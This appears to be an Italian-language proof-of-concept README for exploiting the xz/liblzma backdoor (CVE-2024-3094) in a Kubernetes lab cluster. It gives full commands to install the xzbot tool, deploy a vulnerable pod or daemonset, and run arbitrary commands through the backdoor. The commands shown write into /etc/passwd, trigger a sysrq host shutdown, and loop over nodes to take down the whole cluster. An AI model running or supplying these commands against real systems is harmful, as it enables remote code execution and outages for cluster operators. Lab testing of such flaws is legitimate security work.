
POC di base per testare la vulnerabilità CVE-2024-3094 all'interno del cluster K8s
POC di base per testare la vulnerabilità CVE-2024-3094 all'interno di un cluster K8s
Distribuiremo un pod vulnerabile e lo sfrutteremo per eseguire comandi all'interno di quel pod vulnerabile. Lo facciamo all'interno della stessa rete per motivi di sicurezza. Non esponiamo il pod vulnerabile a Internet, ma il concetto è lo stesso.
La vulnerabilità consente di eseguire comandi all'interno del pod, anche se il pod è in esecuzione con un security context; puoi, ad esempio, spegnere l'host che esegue il pod.
Se la vulnerabilità è presente in un singolo pod, puoi spegnere l'host, rendendo temporaneamente non disponibili tutti i servizi in esecuzione su quell'host. Ma se la vulnerabilità è in esecuzione come daemonset, puoi spegnere tutti gli host che eseguono quel daemonset, e persino l'intero cluster.
Per prima cosa, installa xzbots nel cluster
go install github.com/amlweems/xzbot@latest
Scarica la repo e distribuisci il deployment/daemonset vulnerabile
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Get the pod name
kubectl -n vulnes get pods
# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
Vai avanti e spegni l'host
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
Puoi anche spegnere tutti gli host che eseguono il daemonset
source shutdown_nodes.sh
Quando esegui il loop per spegnere tutti gli host, se ricevi questo errore:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
Concedi più tempo al port forward per essere pronto; puoi aumentare il tempo di sleep nel loop.
L'immagine del container utilizzata è stata generata con il dockerfile nella repo; puoi generare l'immagine e pubblicarla nel tuo registry.
Per generare la libreria liblzma.so.5.6.0.patch, puoi utilizzare il repo amlweems indicato nei riferimenti.